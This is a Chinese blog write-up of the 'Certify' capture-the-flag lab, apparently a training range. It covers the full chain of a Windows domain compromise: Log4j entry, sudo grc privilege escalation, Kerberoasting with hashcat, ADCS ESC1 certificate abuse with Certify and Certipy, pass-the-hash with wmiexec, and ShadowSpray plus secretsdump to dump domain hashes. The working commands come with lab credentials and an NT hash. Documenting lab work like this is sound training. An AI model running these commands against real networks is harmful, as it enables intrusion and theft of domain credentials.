ps:本文从我的笔记里搬到博客的,语雀图片复制起来麻烦我直接截图了。所以可能有点糊
靶标介绍
Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
扫描端口
由于开局就给个IP。一般打法就是先扫个路径+端口
这里发现8983端口有点东西
http://39.99.224.67:8983
发现log4j组件
打一发成功触发
反弹shell
尝试提权
原来准备先传个vshell上去,免得反弹shell的会话老掉影响操作。但是发现目前的权限不支持上传文件
python3 -m http.server 8833 (用于开启web服务,注意用完记得及时关掉免得信息被泄露)
所以准备从系统自带的一些命令来下手提权
先尝试了收suid提权,发现不太行
/usr/bin/stapbpf
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/staprun
/usr/bin/at
/usr/bin/fusermount
/usr/bin/sudo
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
系统版本
Linux ubuntu 5.4.0-113-generic #127-Ubuntu SMP Wed May 18 14:30:56 UTC 2022 x86_64
x86_64 x86_64 GNU/Linux
然后发现是⽼套路sudo -l提权。/usr/bin/grc
sudo /usr/bin/grc --pty whoami
提权后传了个vshell上去⽅便操作+开代理(怎么舒服怎么来)
获得flag01
/root/flag/flag01.txt
获得flag01
入口机信息收集
IP
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.9.19 netmask 255.255.0.0 broadcast 172.22.255.255
inet6 fe80::216:3eff:fe0b:bb8b prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:0b:bb:8b txqueuelen 1000 (Ethernet)
RX packets 550522 bytes 235184455 (235.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 413822 bytes 70183017 (70.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4805 bytes 586314 (586.3 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4805 bytes 586314 (586.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin
ntp:x:108:115::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
_chrony:x:110:121:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
solr:x:111:122::/var/solr:/bin/bash
postgres:x:112:124:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default _gateway 0.0.0.0 UG 100 0 0 eth0
172.22.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth0
_gateway 0.0.0.0 255.255.255.255 UH 100 0 0 eth0
内网横向
172.22.9.47:445 open
172.22.9.7:445 open
172.22.9.26:445 open
172.22.9.47:139 open
172.22.9.7:139 open
172.22.9.26:139 open
172.22.9.26:135 open
172.22.9.7:135 open
172.22.9.7:80 open
172.22.9.47:80 open
172.22.9.19:80 open
172.22.9.19:22 open
172.22.9.47:21 open
172.22.9.47:22 open
172.22.9.7:88 open
172.22.9.19:8983 open
发现目前没什么突破口。但是文服版本才Windows 6.1比较低。可能存在永恒系列的漏洞
172.22.9.47
提示有三个漏洞可利用。但是不知道为什么实际上打不进去
考虑一番,尝试⽤smbclient链接看看是否有开共享。
发现有后,进去把db下载下来。⼀般打靶场这种后续都可以利⽤到。而且那个pdf就是adcs相关的书籍,
说明后续打dc会⽤到adcs证书配置漏洞
flag02
进入secret后发现第二个flag
SPN-Kerberoasting
上面提示到用spn。那现在就需要先拿一台域机器了。这个时候可以看一下之前下载下来的db拿去利用
把数据库⾥的⽤户名和密码扒下来⽤于后⾯的爆破。
成功获得到xiaorang.lab\zhangjian:i9XDE02pLVf
不过可惜的是⽬前这个账户的权限⽐较低不能⽤来rdp登录 smbexec也不⾏
所以还是根据刚才的提示⾛吧
python GetUserSPNs.py xiaorang.lab/zhangjian:i9XDE02pLVf -request -dc-ip 172.22.9.7
然后⽤hashcat去解密
hashcat -m 13100 1.txt rockyou.txt --force -O
解密得
xiaorang.lab\zhangxia MyPass2@@6
xiaorang.lab\chenchen @Passw0rd@
可以去登172.22.9.26了
172.22.9.26-尝试提权
不过目前这个用户只是普通域用户。administrator文件夹访问不到。考虑做个提权
主机名: DESKTOP-CBKTVMO
OS 名称: Microsoft Windows Server 2016 Datacenter
OS 版本: 10.0.14393 暂缺 Build 14393
OS 制造商: Microsoft Corporation
OS 配置: 成员服务器
OS 构件类型: Multiprocessor Free
注册的所有人:
注册的组织: Aliyun
产品 ID: 00376-40000-00000-AA947
初始安装日期: 2023/7/14, 12:19:37
系统启动时间: 2025/4/6, 13:58:01
系统制造商: Alibaba Cloud
系统型号: Alibaba Cloud ECS
系统类型: x64-based PC
处理器: 安装了 1 个处理器。
[01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2500 Mhz
BIOS 版本: SeaBIOS 449e491, 2014/4/1
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量: 3,950 MB
可用的物理内存: 2,633 MB
虚拟内存: 最大值: 5,358 MB
虚拟内存: 可用: 4,138 MB
虚拟内存: 使用中: 1,220 MB
页面文件位置: C:\pagefile.sys
域: xiaorang.lab
登录服务器: \\XIAORANG-DC
修补程序: 安装了 8 个修补程序。
[01]: KB5027123
[02]: KB4049065
[03]: KB4486129
[04]: KB4486131
[05]: KB5012170
[06]: KB5017396
[07]: KB5023788
[08]: KB5027219
网卡: 安装了 1 个 NIC。
[01]: Red Hat VirtIO Ethernet Adapter
连接名: 以太网 2
启用 DHCP: 是
DHCP 服务器: 172.22.255.253
IP 地址
[01]: 172.22.9.26
[02]: fe80::b0f1:ae29:a594:7e4
Hyper-V 要求: 已检测到虚拟机监控程序。将不显示 Hyper-V 所需的功能。
丢个查找提权漏洞的上去看看。
[!] CVE-2019-0836 : VULNERABLE
[>] https://exploit-db.com/exploits/46718
[>] https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/
[!] CVE-2019-0841 : VULNERABLE
[>] https://github.com/rogue-kdc/CVE-2019-0841
[>] https://rastamouse.me/tags/cve-2019-0841/
[!] CVE-2019-1064 : VULNERABLE
[>] https://www.rythmstick.net/posts/cve-2019-1064/
[!] CVE-2019-1130 : VULNERABLE
[>] https://github.com/S3cur3Th1sSh1t/SharpByeBear
[!] CVE-2019-1253 : VULNERABLE
[>] https://github.com/padovah4ck/CVE-2019-1253
[!] CVE-2019-1315 : VULNERABLE
[>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html
[!] CVE-2019-1385 : VULNERABLE
[>] https://www.youtube.com/watch?v=K6gHnr-VkAg
[!] CVE-2019-1388 : VULNERABLE
[>] https://github.com/jas502n/CVE-2019-1388
[!] CVE-2019-1405 : VULNERABLE
[>] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
[>] https://github.com/apt69/COMahawk
[*] Finished. Found 9 potential vulnerabilities.
but经过一系列提权漏洞尝试,没成功提权。所以还是打算从ADCS证书漏洞走起
ADCS-ESC1
certipy find -vulnerable -dc-ip 172.22.9.7 -u chenchen@xiaorang.lab -p @Passw0rd@ -stdout
发现存在esc1证书漏洞
这⾥建议⽤exe的传到服务器上去执⾏,PYTHON⾛代理的话有问题(也可能是我电脑抽⻛了,试了很久)
Certify.exe request /ca:XIAORANG-DC.xiaorang.lab\xiaorang-XIAORANG-DC-CA /template:"XR
Manager" /altname:xiaorang\Administrator
然后⽤
openssl pkcs12 -in 1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -
export -out 1.pfx
去转成pfx证书
certipy auth -pfx 1.pfx -dc-ip 172.22.9.7 -username administrator -domain xiaorang.lab
成功获取到hash后⽤wmiexec就ok了
python wmiexec.py -hashes :2f1b57eefb2d152196836b0516abea80
xiaorang.lab/administrator@172.22.9.7
为了好翻东⻄我直接把chenchen加⼊域管了(实战的话就别乱搞,靶场⽆所谓)
flag03
取消只读
C:\Users\Administrator\flag
flag04
省事一点直接net use链接域控获得flag了
Users\Administrator\flag
路径2-*DACL滥用
结束完,我在知识星球里翻该靶场看到这里还存在dacl危险配置所以继续来看一下
这⾥我们⽤bloodhound去提取⼀下数据便于分析以及快速找到便捷路径
SharpHound.exe -c all
然后把获得到的ZIP放⼊bloodhound中
选择这个找到域管理员的最短路径
可以发现zhangxin对XIAORANG-DC$存在GenericWrite的ACL滥⽤,然后XIAORANG-DC$拥有对域的
dcsync权限
也就是说我们可以让zhangxin通过GenericWrite打XIAORANG-DC$, 然后利⽤XIAORANG-DC$机器
使⽤dcsync来拖域hash
这⾥我找到⼀个好⼯具ShadowSpray来达成GenericWrite (PS:⽹络上其他acl滥⽤的利⽤好找。这玩意
真难翻到QaQ)
https://github.com/Dec0ne/ShadowSpray/tree/master
PS C:\1\1> .\ShadowSpray.exe -dc XIAORANG-DC.XIAORANG.LAB -d xiaorang.lab -u zhangxia -
p MyPass2@@6
获得到XIAORANG-DC$的NTHashes
然后⽤impacket中的secretsdump就可以拖全域hash了。解决~~